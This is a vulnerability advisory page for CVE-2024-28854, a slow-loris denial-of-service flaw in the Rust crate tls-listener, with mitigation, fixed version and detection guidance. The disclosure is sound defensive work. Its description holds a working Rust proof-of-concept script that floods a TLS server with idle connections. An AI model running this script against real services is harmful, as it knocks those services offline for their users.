CVE-2024-28854 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in tls-listener. A fix is available for tls-listener — see the affected versions and patch details below.
Slow loris vulnerability with default configuration in tls-listener
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-28854.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
tls-listenerReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.
Details
The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.
/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);
PoC
Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.
use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};
#[tokio::main]
async fn main() {
const N: usize = 1024;
const T: Duration = Duration::from_secs(10);
let url = "127.0.0.1:3000";
let sockets: Vec<_> = url
.to_socket_addrs()
.unwrap()
.inspect(|s| println!("{s:?}"))
.collect();
let mut js = JoinSet::new();
let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
for _ in 0..10000 {
for &socket in &sockets {
int.tick().await;
js.spawn(async move {
let mut stream = TcpStream::connect(socket).await.unwrap();
let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
});
}
}
while js.join_next().await.is_some() {}
}
Impact
This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener
Mitigation
Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | tls-listener | all versions | 0.10.0cargo update -p tls-listener --precise 0.10.0 |
Affected Products
tls-listenertmccombsDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tls-listener, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tls-listener to 0.10.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-28854 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2024-28854 in your dependencies?
Find it across crates.io, including transitive dependencies.